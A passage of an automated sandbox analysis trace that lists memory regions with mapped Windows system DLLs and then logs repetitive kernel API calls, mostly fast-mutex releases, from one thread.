filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9638 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9639 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9640 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9641 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9642 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9643 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9644 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9645 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9646 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9647 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9648 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9649 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9650 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9651 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9652 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9653 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9654 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9655 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9656 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9657 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9658 start_va = 0x4304b30000 end_va = 0x4304b30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004304b30000" filename = "" Region: id = 9659 start_va = 0x43062c0000 end_va = 0x43064d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000043062c0000" filename = "" Region: id = 9678 start_va = 0x4304b30000 end_va = 0x4304b32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004304b30000" filename = "" Region: id = 9679 start_va = 0x4304b40000 end_va = 0x4304b40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004304b40000" filename = "" Region: id = 9680 start_va = 0x43064e0000 end_va = 0x4309375fff entry_point = 0x43064e0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 9681 start_va = 0x4309380000 end_va = 0x4309779fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004309380000" filename = "" Region: id = 9682 start_va = 0x4309780000 end_va = 0x43097c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004309780000" filename = "" Region: id = 9683 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9684 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9685 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Thread: id = 858 os_tid = 0xa68 [0140.242] EngAllocMem () returned 0xfffff9014251f030 [0140.242] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.242] MmMapViewOfSection (in: SectionObject=0xffffc0000153cba0, Process=0xffffe00001078440, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002103aed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0x43062c0000, SectionOffset=0xffffd0002103aed0, ViewSize=0xfffff9014251f370) returned 0x0 [0140.242] EngCreateBitmap () returned 0x7a0505bf [0140.242] EngAssociateSurface () returned 0x1 [0140.242] EngLockSurface () returned 0xfffff901424612c8 [0140.242] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000147d450 [0140.242] KeInitializeEvent (in: Event=0xffffe0000147d468, Type=0x1, State=0 | out: Event=0xffffe0000147d468) [0140.242] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.257] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0140.275] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.275] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.275] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.459] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.459] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.459] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.459] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.459] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.459] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.460] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.460] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.460] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.460] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.461] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.461] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.461] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.461] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.461] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.461] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.461] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.461] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.462] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.462] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.462] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.462] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.462] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.462] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.462] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.463] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.463] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.463] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.464] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.510] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.510] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.510] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.510] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.510] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.510] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.510] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.510] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.510] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.510] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.511] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.511] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.511] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.511] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.511] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.511] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.512] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.512] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.512] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.512] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.541] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.541] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.541] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.541] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.541] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.541] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.542] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.542] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.542] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.542] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.542] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.543] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.543] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.543] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.543] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.543] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.544] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.544] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.544] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.578] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.578] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.579] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.579] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.579] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.579] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.579] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.580] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.580] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.599] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.599] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.599] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.599] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.599] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.599] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.600] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.600] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.600] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.600] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.601] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.601] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.610] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.611] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.611] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.611] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.611] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.611] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.614] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.614] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.626] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.626] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0140.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.627] IoGetCurrentProcess () returned 0xffffe00001078440 [0140.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) 